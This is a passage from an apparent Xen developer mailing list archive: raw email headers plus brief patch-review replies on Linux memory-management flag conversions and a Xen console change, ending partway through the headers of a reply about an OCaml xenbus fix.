 =?us-ascii?Q?We1RsTwRCiH0tB0yq4Ah2NxIvNAqyp2Q6NIZbhjBfe5vjIYIOyZvMSsWS0nf?=
 =?us-ascii?Q?L7UeJ0+jSXn5FYXakjzK0aA4WT7zLlUu7EBFT5kv/NvBy/T/oqlTBCRFt5aV?=
 =?us-ascii?Q?+LnaLHJPaw=3D=3D?=
X-OriginatorOrg: Nvidia.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 98d9eb02-44c9-41a4-6336-08dee15226a7
X-MS-Exchange-CrossTenant-AuthSource: IA0PR12MB8374.namprd12.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 14 Jul 2026 02:46:48.6918
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 43083d15-7273-40c1-b7db-39efd9ccc17a
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: W7pmpah1sUuBVKsr1lh5nsapbyM94r/p/x7AVSFyuwMEnfxfSNJnSrS1SOk6gabX
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PH8PR12MB7136
X-purgate-ID: tlsNG-ebf023/1783997221-7F1AAFE7-CC14293F/0/0
X-purgate-type: clean
X-purgate-size: 656

On 11 Jul 2026, at 14:45, Lorenzo Stoakes wrote:

> Replace use of the legacy vm_flags_t flags with vma_flags_t values
> throughout the mprotect logic.
>
> Note that we retain the legacy vm_flags_t bit shifting code in
> do_mprotect_pkey(), deferring a vma_flags_t approach to this for the time
> being.
>
> Additionally update comments to reflect the changes to be consistent.
>
> No functional change intended.
>
> Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
> ---
>  mm/mprotect.c | 16 ++++++++--------
>  1 file changed, 8 insertions(+), 8 deletions(-)
>
LGTM.

Reviewed-by: Zi Yan <ziy@nvidia.com>


Best Regards,
Yan, Zi


From xen-devel-bounces@lists.xenproject.org Tue Jul 14 06:09:18 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 14 Jul 2026 06:09:18 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362027.1614007 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjWKC-0005GP-P9; Tue, 14 Jul 2026 06:09:00 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362027.1614007; Tue, 14 Jul 2026 06:09:00 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjWKC-0005GI-LN; Tue, 14 Jul 2026 06:09:00 +0000
Received: by outflank-mailman (input) for mailman id 1362027;
 Tue, 14 Jul 2026 06:08:59 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wjWKB-0005GC-Ig
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 06:08:59 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjWK9-00FxXW-78
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 08:08:57 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a55d266-5cb7-0a2a0a5109dd-0a2a4504eca6-4
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 08:08:57 +0200
Received: from [209.85.128.48] (helo=mail-wm1-f48.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <jbeulich@suse.com>)
 id 6a55d267-b1e5-0a2a45040019-d1558030b4d4-3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 08:08:39 +0200
Received: by mail-wm1-f48.google.com with SMTP id
 5b1f17b1804b1-493c733f15aso36083575e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 23:08:39 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493f2e77c2esm269267155e9.2.2026.07.13.23.08.38
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 13 Jul 2026 23:08:38 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784009319; x=1784614119; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=I4/KHBBQI5iS3VrM25O0/xUrlp9kYHI+wwEbVlZDuZ0=;
        b=fAfnCzA5AYzLwhRYa3qoEQf7FkQFaKuEngZND0MQLl3+GprE7KriT26bBG6bNDYjuo
         BLK9mFP78q3IRHKafG0e1J25XJE+qly7QAPIuiOI7hSlrAKXa8qjGWHGyWwweQIfXOKa
         YuN1M/RPYDe7mMbpJYuvRrUOe1hilXguY316OnNtYn4wJWuViMbrOx6Mb3uD2ZZTPJnv
         pxSCnBGrOj09MsDviz5dJgENRB4dqyrcZaf0ArXGuk9H0P5LOXlJVoRFc6/9dth2KOwU
         LejD3V0Pxn8MJVT0DKx/+Kwxu8/MIycb0VjSXYXGDtpur1tM0pEJheUoktmAXRyMpxvE
         hM7Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784009319; x=1784614119;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=I4/KHBBQI5iS3VrM25O0/xUrlp9kYHI+wwEbVlZDuZ0=;
        b=pv1sVvoGzDmeWJz8F0s0qDXtUSiln0YMvZ+WhDHmuu3J2hHmGwPahY7fVxik1Ohpw3
         p0o63tankX1HT2ySpC04VyYeJuwTR4CK8xRYlzzf1C5lmMaP0RpJsMr/+YVoUCmxUd1L
         K552S52DuyU8EdGISpdtsgtu7Xgt4YmCU9XP1TbPwC9TYmlhox03mes2br23xjhV3NWt
         jHJtkLR44jvTO6asfpjpCjxRUb+nLRJR+BGQ4Ssxv2l6jRxI8oGDiRzyfB0LoJnceWv7
         jDfy8ypXaMdq5xqV2C5x4N903G4k1X+kl9Ux5zJTj5PiSVM7J554KPQR0a1ODwYZXd82
         zUkg==
X-Forwarded-Encrypted: i=1; AHgh+RocgC2R7eVS14wUKNhIN4JwR9qt659YloiIxp8/PSYVJWL6G9gYP+0BW26HMmeCFVTuJjsCH8SdCzI=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzQ3EDQxpLXdZ/cnuuuj2p/X7hZlMFscmrquxJWbiLwVh7mpxNT
	9OeUIzE3HYiyAd5RyxuDXztAJUMOtLC6mDOHwIOg8tOZPJz4qtvcdss6NcaxqDEsLA==
X-Gm-Gg: AfdE7ckcrbAf0j9tCyhp+PnQXM9RjTd1pQ5cpQ7+Jd6v8n3v8Yv+NwP3X1NX59Qb1/U
	9HkkEo5jwxEvVm6WYPI8+bay+pU8/anoNRFHVGLrLd+V76eQFAoYWm3hO9HsoHMBHBrl/GhIpDn
	6GTsHXx0rYcWXq+mTwpvhXvb8kt3AvoFVhXyEivvoskSF/iT8bbWPlG0pPJdj4j/JEDhdBJG7gG
	IfqSaE47o+E57sbG7FImrBffC/mOc8bvgYG4U7bnduSJGCqGeOIx0PK1A22hjWy6Xh3ZniAyma0
	VbhAWDaOTsnr4gWXQ8yBE1CxTFuOCGwFEp3pP1o6bxKrDhrCUSF8mBIjkhA5pya87JWAZmlI8aM
	O9Vuf6jIXknn3IgJjlPrHJE9HWsngcT1cCgUCLiohANHPXDEqRnsnLhi2QWTr/y5DjwTlR0knEV
	TejDUmbSfqZKo6BlX3Ktn6lwlfalg2m7ORhMg6fIXDO3jpmYjnLqnPQz9gwecH/0H500j6ZnzyM
	n2Z
X-Received: by 2002:a05:600c:3e0f:b0:493:b8d9:f28b with SMTP id 5b1f17b1804b1-49538a02529mr8158395e9.23.1784009319428;
        Mon, 13 Jul 2026 23:08:39 -0700 (PDT)
Message-ID: <93763802-ae88-48ce-ac3f-2b0ab79b4431@suse.com>
Date: Tue, 14 Jul 2026 08:08:37 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v7 1/7] xen/console: promote conring{,_size} to
 __ro_after_init
To: dmukhin@ford.com
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, julien@xen.org,
 michal.orzel@amd.com, roger.pau@citrix.com, sstabellini@kernel.org,
 xen-devel@lists.xenproject.org
References: <20260713181619.672176-1-dmukhin@ford.com>
 <20260713181619.672176-2-dmukhin@ford.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgm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0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260713181619.672176-2-dmukhin@ford.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ebf023/1784009320-6FD57FE7-2A980895/0/0
X-purgate-type: clean
X-purgate-size: 506

On 13.07.2026 20:16, dmukhin@ford.com wrote:
> From: Denis Mukhin <dmukhin@ford.com> 
> 
> Both conring{,_size} should be RO after initialization is completed.
> 
> Change the conring integer parameters type to `unsigned int` as required
> by CODING_STYLE.
> 
> Suggested-by: Andrew Cooper <andrew.cooper3@citrix.com>
> Signed-off-by: Denis Mukhin <dmukhin@ford.com>
> ---
> Changes since v6:
> - rebased

With no changes, where did my A-b go (offered on v5 with the types adjusted)?

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 14 07:32:41 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 14 Jul 2026 07:32:41 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362011.1614014 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjXcm-0007SY-GU; Tue, 14 Jul 2026 07:32:16 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362011.1614014; Tue, 14 Jul 2026 07:32:16 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjXcm-0007SR-DQ; Tue, 14 Jul 2026 07:32:16 +0000
Received: by outflank-mailman (input) for mailman id 1362011;
 Tue, 14 Jul 2026 02:25:27 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <akpm@linux-foundation.org>) id 1wjSpq-0004WD-RK
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 02:25:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjSpq-008ZYB-4d
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 04:25:26 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <akpm@linux-foundation.org>)
 id 6a559dab-bab6-0a2a0a5309dd-0a2a4502ae2e-34
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 04:25:25 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <akpm@linux-foundation.org>)
 id 6a559e13-64c6-0a2a45020019-aceafc1fadea-3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 04:25:24 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id 821A641877;
 Tue, 14 Jul 2026 02:25:22 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 93DE31F000E9;
 Tue, 14 Jul 2026 02:25:19 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=korg header.d=linux-foundation.org header.i="@linux-foundation.org" header.h="Date:From:To:Cc:Subject:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
	d=linux-foundation.org; s=korg; t=1783995922;
	bh=dxhqIlF4Nmwz7Dc6V0zHplATkq8zPUSt2q/Zds9EZa8=;
	h=Date:From:To:Cc:Subject:In-Reply-To:References;
	b=b48cJk93FtKmn41eVdolAVE/uzQX6EHo01Pnkn0OgnY1vIvJtpHyTyl3C+S0onbuL
	 GGMGjmfE2JKefejiLP1J3PzT6MIi/Ch6j4XkBShkTRk15H8PEW9ZSYVvQQ/3WhTIGU
	 P9nMjGwkFSOLhnsQCjHUwc7HZ389d5X722tVvR6w=
Date: Mon, 13 Jul 2026 19:25:19 -0700
From: Andrew Morton <akpm@linux-foundation.org>
To: Lorenzo Stoakes <ljs@kernel.org>
Cc: David Hildenbrand <david@kernel.org>, "Liam R. Howlett"
 <liam@infradead.org>, Vlastimil Babka <vbabka@kernel.org>, Mike Rapoport
 <rppt@kernel.org>, Suren Baghdasaryan <surenb@google.com>, Michal Hocko
 <mhocko@suse.com>, Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
 Benjamin LaHaise <bcrl@kvack.org>, Alexander Viro
 <viro@zeniv.linux.org.uk>, Christian Brauner <brauner@kernel.org>, Jan Kara
 <jack@suse.cz>, Hugh Dickins <hughd@google.com>, Baolin Wang
 <baolin.wang@linux.alibaba.com>, Jann Horn <jannh@google.com>, Pedro
 Falcato <pfalcato@suse.de>, Muchun Song <muchun.song@linux.dev>, Oscar
 Salvador <osalvador@suse.de>, Zi Yan <ziy@nvidia.com>, Nico Pache
 <npache@redhat.com>, Ryan Roberts <ryan.roberts@arm.com>, Dev Jain
 <dev.jain@arm.com>, Barry Song <baohua@kernel.org>, Lance Yang
 <lance.yang@linux.dev>, Usama Arif <usama.arif@linux.dev>, Madhavan
 Srinivasan <maddy@linux.ibm.com>, Michael Ellerman <mpe@ellerman.id.au>,
 Nicholas Piggin <npiggin@gmail.com>, "Christophe Leroy (CS GROUP)"
 <chleroy@kernel.org>, Maarten Lankhorst
 <maarten.lankhorst@linux.intel.com>, Maxime Ripard <mripard@kernel.org>,
 Thomas Zimmermann <tzimmermann@suse.de>, David Airlie <airlied@gmail.com>,
 Simona Vetter <simona@ffwll.ch>, Lucas Stach <l.stach@pengutronix.de>,
 Russell King <linux+etnaviv@armlinux.org.uk>, Christian Gmeiner
 <christian.gmeiner@gmail.com>, Inki Dae <inki.dae@samsung.com>, Seung-Woo
 Kim <sw0312.kim@samsung.com>, Kyungmin Park <kyungmin.park@samsung.com>,
 Krzysztof Kozlowski <krzk@kernel.org>, Peter Griffin
 <peter.griffin@linaro.org>, Alim Akhtar <alim.akhtar@samsung.com>, Jani
 Nikula <jani.nikula@linux.intel.com>, Joonas Lahtinen
 <joonas.lahtinen@linux.intel.com>, Rodrigo Vivi <rodrigo.vivi@intel.com>,
 Tvrtko Ursulin <tursulin@ursulin.net>, Rob Clark
 <robin.clark@oss.qualcomm.com>, Dmitry Baryshkov <lumag@kernel.org>,
 Abhinav Kumar <abhinav.kumar@linux.dev>, Jessica Zhang
 <jesszhan0024@gmail.com>, Sean Paul <sean@poorly.run>, Marijn Suijten
 <marijn.suijten@somainline.org>, Lyude Paul <lyude@redhat.com>, Danilo
 Krummrich <dakr@kernel.org>, Tomi Valkeinen
 <tomi.valkeinen@ideasonboard.com>, Sandy Huang <hjc@rock-chips.com>, Heiko
 =?ISO-8859-1?Q?St=FCbner?= <heiko@sntech.de>, Andy Yan
 <andy.yan@rock-chips.com>, Thierry Reding <thierry.reding@kernel.org>,
 Mikko Perttunen <mperttunen@nvidia.com>, Jonathan Hunter
 <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>, Dmitry Osipenko
 <dmitry.osipenko@collabora.com>, Gurchetan Singh
 <gurchetansingh@chromium.org>, Chia-I Wu <olvaffe@gmail.com>, Zack Rusin
 <zack.rusin@broadcom.com>, Broadcom internal kernel review list
 <bcm-kernel-feedback-list@broadcom.com>, Matthew Brost
 <matthew.brost@intel.com>, Thomas =?ISO-8859-1?Q?Hellstr=F6m?=
 <thomas.hellstrom@linux.intel.com>, Oleksandr Andrushchenko
 <oleksandr_andrushchenko@epam.com>, Helge Deller <deller@gmx.de>, Kees Cook
 <kees@kernel.org>, Jaroslav Kysela <perex@perex.cz>, Takashi Iwai
 <tiwai@suse.com>, Boris Brezillon <boris.brezillon@collabora.com>, Steven
 Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>,
 linux-mm@kvack.org, linux-kernel@vger.kernel.org,
 linux-mips@vger.kernel.org, linux-aio@kvack.org,
 linux-fsdevel@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
 dri-devel@lists.freedesktop.org, etnaviv@lists.freedesktop.org,
 linux-arm-kernel@lists.infradead.org, linux-samsung-soc@vger.kernel.org,
 intel-gfx@lists.freedesktop.org, linux-arm-msm@vger.kernel.org,
 freedreno@lists.freedesktop.org, nouveau@lists.freedesktop.org,
 linux-rockchip@lists.infradead.org, linux-tegra@vger.kernel.org,
 virtualization@lists.linux.dev, intel-xe@lists.freedesktop.org,
 xen-devel@lists.xenproject.org, linux-fbdev@vger.kernel.org,
 linux-sound@vger.kernel.org, Jani Nikula <jani.nikula@intel.com>
Subject: Re: [PATCH v2 00/13] mm: convert more vm_flags_t users to
 vma_flags_t
Message-Id: <20260713192519.58113fa69c169d3f5f82e453@linux-foundation.org>
In-Reply-To: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
References: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
X-Mailer: Sylpheed 3.8.0beta1 (GTK+ 2.24.33; x86_64-pc-linux-gnu)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1783995925-3CF53A87-16AC031A/0/0
X-purgate-type: clean
X-purgate-size: 689

On Sat, 11 Jul 2026 19:44:57 +0100 Lorenzo Stoakes <ljs@kernel.org> wrote:

> This series makes further progress in converting usage of the deprecated
> vm_flags_t type to its replacement, vma_flags_t.
> 
> It focuses on mm, though updates some users of mm APIs also.
> 
> It updates:
> 
> * The core do_mmap() code path for VMA mapping.
> * Unmapped area logic.
> * The usage of mm->def_vma_flags.
> * VMA page protection bit logic.
> * General usage of VMA flags in core mm code, mlock, mprotect, mremap.

Added to mm-new, thanks.

And oh my, what a lot of pre-existing issues:
	https://sashiko.dev/#/patchset/20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org




From xen-devel-bounces@lists.xenproject.org Tue Jul 14 10:27:30 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 14 Jul 2026 10:27:30 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362112.1614024 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjaM1-0002fP-Mq; Tue, 14 Jul 2026 10:27:09 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362112.1614024; Tue, 14 Jul 2026 10:27:09 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjaM1-0002fH-IO; Tue, 14 Jul 2026 10:27:09 +0000
Received: by outflank-mailman (input) for mailman id 1362112;
 Tue, 14 Jul 2026 10:27:07 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wjaLz-0002f9-Na
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 10:27:07 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjaLz-00GoIc-4W
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 12:27:07 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a560ee5-2eae-0a2a0a5409dd-0a2a450ab26a-44
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 12:27:07 +0200
Received: from [52.101.56.15]
 (helo=BN1PR04CU002.outbound.protection.outlook.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a560ef9-f2d2-0a2a450a0019-3465380f1ea3-3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 12:27:06 +0200
Received: from IA1PR03MB8288.namprd03.prod.outlook.com (2603:10b6:208:59e::6)
 by LV3PR03MB7456.namprd03.prod.outlook.com (2603:10b6:408:1a0::14)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.202.19; Tue, 14 Jul
 2026 10:27:00 +0000
Received: from IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599]) by IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599%3]) with mapi id 15.21.0181.012; Tue, 14 Jul 2026
 10:26:58 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=dNAF/Hjw9S0WoVwh2i7oZ9lXwnSYX4rQE4VlcNsNOb+z0BaEz6rNsDP4UaDxA9mZh6IQhvXmjpnSfhHJlp7MXJOMwYru+1UwzpJ4ltZevys7dS437uxN0zLpM6tZbG62BMIwRVaCjmnr2YDojf28Ajl1aWSmUhs78j4vt+wiuKWMugl77JdP7qwf2nJKmdmCGB/h/ZPmei0T9L/ehmX8Tr4yr3SH+EChAe4lN1ALXrdSYS5uoH48C1GcTUNeOUOBOVma53M00TlXX2aUcE4A2KSmP0CBph6ZxwG23K97WMUkl2V8fz+BH5A2VbLS8MsoL5I5GwbGDAI+330+ARMugw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=8tvKb6Qd0yeNV6HluNTdlmoFDN0fHnF3V7UZ17frJmQ=;
 b=a0p4RbBgToIcGhbbJTqcCG6OrfP4DYJmcPcnWPdbEg+bABL+Y+OegGfii+6dVirJHq/YwAICYkJl1YmeUGhCwrf23wjM3lm8XuLMQtWS8K+ZVKi2C4/F2eNK5ijYxSv8UvPDEY8cTVpDBL1w/d41/qbHe7knl7/93vmQ0yDjGln4DZRdvt2IcRqOlNhEwft0r3aHn2PU6lCy4eO5th3rDJ+vwCMYkZ3rO+KQ4GOouWp1Ga8PR5hPMntU8gI7g8jxNhJ1hJFMP/PiEmZ0S55jSd0tW5kxsbLtyFFtSLdrFRmP9IwItbuPgYuZ63NNsGn0UqqEo0e8YTxebAlJUHc90Q==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=8tvKb6Qd0yeNV6HluNTdlmoFDN0fHnF3V7UZ17frJmQ=;
 b=ZifZlHGR0t7F9LBYyBuRrDOjCTMxhVICoz3iXI614CJqAXd1Jm1qwzE2u6K3yuwxKmTqO5Z/g6o8/mh1iCX1JCK/mxZZGp3ATcHT/Bi561jcpmK4Y9GuG+qw7JhzWCt+nN/L1YVtXJBhXkJzasWQKwJY4s54pErCxqW1mF1cfMg=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <8c265153-6774-4904-9791-9386c7018e11@citrix.com>
Date: Tue, 14 Jul 2026 11:26:55 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
 Anthony PERARD <anthony.perard@vates.tech>, George Dunlap <dunlapg@umich.edu>
Subject: Re: [PATCH for-4.22 v1] tools/ocaml: xenbus - Fix handling of
 requests with len = 0 for socket connections
To: Andrii Sultanov <andriy.sultanov@vates.tech>,
 xen-devel@lists.xenproject.org, Oleksii Kurochko <oleksii.kurochko@gmail.com>
References: <1783598431.8631fc262581453bbf619ec5b2062170.19f46c03b15000edb5@vates.tech>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFo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QKjsu98e8o3ysitFlznEns5EAAXEbITrgKWXDDUWGYxd
 pnjj2u+GkVdsOAGk0kxczX6s+VRBhpbBI2PWnOsRJgU2n10PZ3mZD4Xu9kU2IXYmuW+e5KCA
 vTArRUdCrAtIa1k01sPipPPw6dfxx2e5asy21YOytzxuWFfJTGnVxZZSCyLUO83sh6OZhJkk
